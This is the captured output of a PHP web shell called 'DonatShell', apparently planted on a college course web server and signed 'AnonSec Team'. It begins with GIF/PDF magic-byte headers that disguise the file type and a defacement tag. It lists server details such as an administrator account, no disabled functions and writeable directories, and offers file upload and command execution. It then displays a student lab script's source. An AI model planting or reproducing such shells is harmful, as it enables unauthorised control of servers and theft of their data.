GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST2146/Labs/Lab01/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST2146/Labs/Lab01//saveLabInfo.phpinc
<?
// MichaelMalz/CST2146/Labs/saveLabInfo.phpinc
// To get the web. php, and site path information for the student.


$webPath = formValue('webPath');
$phpPath = formValue('phpPath');
$sitePath = formValue('sitePath');
$webPath = str_replace('\\\\','\\',$webPath);
$phpPath = str_replace('\\\\','\\',$phpPath);
$sitePath = str_replace('\\\\','\\',$sitePath);
if ( substr($webPath, -1) == '\\' || substr($webPath, -1) == '/' ) { $webPath = substr($webPath, 0, -1); }
if ( substr($phpPath, -1) == '\\' || substr($phpPath, -1) == '/' ) { $phpPath = substr($phpPath, 0, -1); }
if ( substr($sitePath, -1) == '\\' || substr($sitePath, -1) == '/' ) { $sitePath = substr($sitePath, 0, -1); }
#d_Var("\$_SESSION['userId']",$_SESSION['userId'],'d'); d_Var('$webPath',$webPath,'d'); d_Var('$phpPath',$phpPath,'d'); d_Var('$sitePath',$sitePath,'d');

if ($pathDataStored) {
	$query = "
			UPDATE cst2146
				 SET userId = ".$_SESSION['userId']."
					 , web = '".query_safe($webPath)."'
					 , php = '".query_safe($phpPath)."'
					 , site = '".query_safe($sitePath)."'
			 WHERE userId = ".$_SESSION['userId']."
	";
	#d_Var('cst2146UPDATE',$query,'q');
	$cst2146UPDATE = query_do($query);
	#@d_Var('$cst2146UPDATE',$cst2146UPDATE,'l');
} else {
	$query = "
		INSERT INTO cst2146 (
		    userId
			, web
			, php
			, site
		) VALUES (
		     ".$_SESSION['userId']."
			, '".query_safe($webPath)."'
			, '".query_safe($phpPath)."'
			, '".query_safe($sitePath)."'
		)
	";
	#d_Var('cst2146INSERT',$query,'dq');
	$cst2146INSERT = query_do($query);
	#d_Var('$cst2146INSERT',$cst2146INSERT,'l');
}

?>

Anon7 - 2022
AnonSec Team